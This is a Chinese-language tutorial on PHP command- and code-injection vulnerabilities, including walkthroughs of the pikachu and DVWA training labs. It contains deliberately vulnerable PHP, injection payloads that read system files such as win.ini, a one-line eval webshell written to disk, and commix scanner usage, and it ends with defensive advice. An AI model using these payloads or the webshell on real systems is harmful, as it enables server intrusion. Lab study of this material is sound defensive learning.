1 命令执行漏洞介绍
1.1 命令执行漏洞原理
命令执行漏洞,也称为命令注入漏洞,是指攻击者通过在某个程序中注入恶意命令,从而获得执行权限。这种漏洞的原理是,当程序需要执行一些系统命令时,如果没有对用户输入的数据进行充分的过滤和限制,那么攻击者就可以通过输入一些特殊的字符,将自己的命令注入到原来的命令中,从而掌控程序。
1.2 PHP下命令执行函数
在PHP中具有执行系统命令功能的函数如下
命令command注入
函数 | 作用 |
---|---|
system | 执行外部程序,并且显示输出 |
exec/shell_exec | 通过 shell 环境执行命令,并且将完整的 输出以字符串的方式返回 |
Pcntl_exec | 在当前程序空间执行指定程序 |
passthru | 执行外部程序并且显示原始输出 |
popen | 打开进程文件指针 |
Proc_open | 执行一个命令,并且打开用来输入/输出 的文件指针 |
代码code注入
函数 | 作用 |
---|---|
eval() | 把字符串 code 作为PHP代码执行 |
assert() | 检查一个断言是否为false |
preg_replace() | 执行一个正则表达式的搜索和替换 |
create_function() | 创建一个匿名函数并且返回函数名称 |
call_user_func()/call_user_func_array() | 把第一个参数作为回调函数调用 |
usort()/uasort() | 使用用户自定义的比较函数对数组中的值 进行排 |
提示:某些情况下,要注意存在以上函数的 php 文件,有可能是 webshell。当然这只是其中的一部分,要查看全部函数的话,可以去官方文档里面查看,我们这边就不去看了
1.3 命令执行漏洞代码分析
以下给出一个存在命令执行漏洞的简单代码。
<?php echo "<pre>"; if(isset($_GET['cmd'])) { system($_GET["cmd"]); } echo "</pre>"; ?>
接下来给大家演示:写一个 list.php,内容就写上面的代码;然后放到 phpstudy 的www目录里面;
1.4 命令执行漏洞案例演示
在 windows 下执行 ipconfig 来获取网卡信息;
http://192.168.1.26/list.php?cmd=ipconfig #命令执行 ipconfig
2 Windwos命令执行漏洞
2.1 命令执行漏洞利用思路
代码中拼接用户的输入内容,但是无法直接执行用户的自定义命令,基本上都是这种情况的话,怎么办?大家思考一下:
思路:
截断输入,重新拼接。两条命令都输入并执行。
2.2 命令执行漏洞拼接符介绍
在 windows 系统下的 cmd 命令中,有以下一些截断拼接符。
& | 前面的语句为假则直接执行后面的; |
---|---|
&& | 前面的语句为假则直接出错,后面的也不执行; |
| | 直接执行后面的语句 |
|| | 前面出错执行后面的 |
2.3 命令执行漏洞利用演示
ping 192.168.1.1 && ipconfig
ping 1111 && ipconfig
ping 192.168.1.1 | ipconfig
ping 333 | ipconfig
ping 192.168.1.1 || ipconfig
ping 666 || ipconfig
接下来如果我们发现某网站有该漏洞我们就用 windows 下的拼接符去一一测试,因为拼接符有的支持window7 但是不满足 window10,有时候在 windows2008 上可以,但是在 win2003 上不行,
所以大家发现这种漏洞时,就尽可能在不同的 windows 系统上都测试一下;
下面是在 win10 系统上做了一个:list.php 是刚才我们创建好的;
3 Linux命令执行漏洞利用技巧
3.1 Kali linux 测试环境搭建
咱们再centos7上演示:
启动 apache 服务, systemctl restart httpd
拷贝 list.php 到 /var/www/html/目录下的一个文件中
list.php 代码如下:
<?php echo "<pre>"; $arg = $_GET["cmd"]; if($arg) { system("ping -c 4 $arg") } echo "</pre>"; ?> <?php echo "<pre>"; $arg = $_GET["cmd"]; if($arg) { system("ping -c 4 $arg"); } echo "</pre>"; ?>
3.2 命令执行拼接符介绍
在 Linux 系统下的 shell 命令中,有以下一些截断拼接符。给大家强调一下,在 linux 下和在windows下的命令拼接符有一定的区别
在 Linux 上,上面的;也可以用 | 、|| 代替;
; 前面的执行完执行后面的
ping 192.168.1.1 -c 4 ; ifconfig
ping 888 -c 4 ; ifconfig
| 是管道符,显示后面的执行结果
ping 192.168.1.1 -c 4 | ifconfig
ping 888 -c 4 | ifconfig
|| 当前面的执行出错时执行后面的
ping 192.168.1.1 -c 4 || ifconfig
ping 888 -c 4 || ifconfig
& 无论前面语句真假都会
ping 192.168.1.1 & id
ping 111 & id
&& 只要前面语句为真,才会执行后面语句
ping 192.168.1.1 && id
ping 111 && id
4 命令执行漏洞靶场利用演示
4.1 pikachu靶场漏洞演示
第1关 exec “ping”
远程系统命令执行
后台对用户输入的IP地址进行一次 ping 测试,并返回测试结果
尝试 ping 一下本地127.0.0.1
可以看到 ping 成功了。
不过这里存在乱码,靶场是放在 Windows 下的,用网上文章上的方法暂时无法解决。这里测试能 ping成功就行。
由于windows和linux有3个命令连接符是相同的(|,||,&&),因此在不知道目标的具体操作系统的情况下,可以先用这三种测试。
这次先用管道符(&&)试试吧。命令就用whoami
为啥用whoami命令呢?因为这个命令不但windows和linux系统都支持(windows xp不默认支持,可安装),而且显示的内容不同,不但可以用来判断是否有远程命令执行漏洞,还可以用来判断操作系统(linux系统中显示当前执行操作的用户名,windows系统中显示当前登录的域名和用户名)还有一点需要注意,命令和连接符之间有没有空格都可以
输入Payload:127.0.0.1 && whoami
成功得到域和用户名:desktop-8nt4stc\administrator
同时也知道了操作系统是windows
输入payload: 127.0.0.1 && dir
可以查看当前路径和路径下的文件
输入payload: 127.0.0.1 && type C:\Windows\win.ini
可以查看win.ini文件的内容
源码分析:
造成这个漏洞的原因可以看一下本关的源代码,如下图,关注一下用户输入的参数值
$_POST[‘ipaddress’]的流向。
本关代码中,首先将$ _POST[‘ipaddress’]赋值给$ip,然后直接未经任何处理就将其传入shell_exec()函数执行,造成命令可拼接执行
第2关 exec “eval”
远程代码执行
后台把用户的输入作为代码的一部分进行执行,造成了远程代码执行漏洞。
题目都提示的这么明显了,直接上payload吧。
输入: phpinfo();
phpinfo()函数被执行了
根据代码执行这个漏洞,我们可以通过此处上传一句话木马。
输入payload: fputs(fopen('shell.php','w'),'<?php eval($_POST[fin]);?>');
虽然返回没有什么特别的。
但是到本关目录下查看发现木马文件已经上传成功。
使用蚁剑进行连接
源码分析:
打开靶场根目录里的源文件,可以看到不存在任何校验。直接把输入的内容放在 eval() 函数中。
4.2 DVWA靶场漏洞演示
low
我们先来看一下页面效果
查看代码并分析
这段代码没有进行过滤以及使用ping进行代码执行
输入127.0.0.1 & ifconfig
这里看到我们就直接得到了服务器的内网地址。
medium
我们还是先来看页面效果
查看源代码
这里将&&
和 ;
都被替换为空字符串,即它们被移除了。
输入127.0.0.1 & ifconfig
这里看到我们就直接得到了服务器的内网地址。
high
还是一样来看页面效果
这段代码分析
里的黑名单明显多了不少,但是在|后面竟然有个空格,这就有点扯淡了,那这里我就利用他这个漏洞
来写,这种拼接字符串,可以不用空格也是可以的。
输入127.0.0.1|ifconfig
impossible
发现这里还添加了token参数的检验,杜绝了CSRF漏洞的利用,并且这里我们发现在代码中,其限制了输入数据的格式,也就是说这里采用了白名单的做法,只有输入的格式跟白名单的一样才能通过验证,其他的都不行。这样就基本上杜绝了命令注入。
5 命令执行自动化工具探测
Commix 工具简介:Commix 是一个使用 Python 开发的漏洞测试工具,这个工具是为了方便检测
一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接导入 burp的历史记录进行检测,大大提高了易用性。下载地址:
https://github.com/commixproject/commix
在 kali linux 自带了 commix 可以直接使用,并不需要去搭建
commix -h 获取帮助信息
接下来用 commix 来探测:
commix -u http://192.168.1.26/list.php?cmd=ipconfig
6 命令执行漏洞的防御
-
开源框架,升级到最新版本
-
尽量不要使用命令执行的函数
-
如果必须使用,需要做白名单处理
-
用正则表达式对用户输入的内容进行处理
-
使用WAF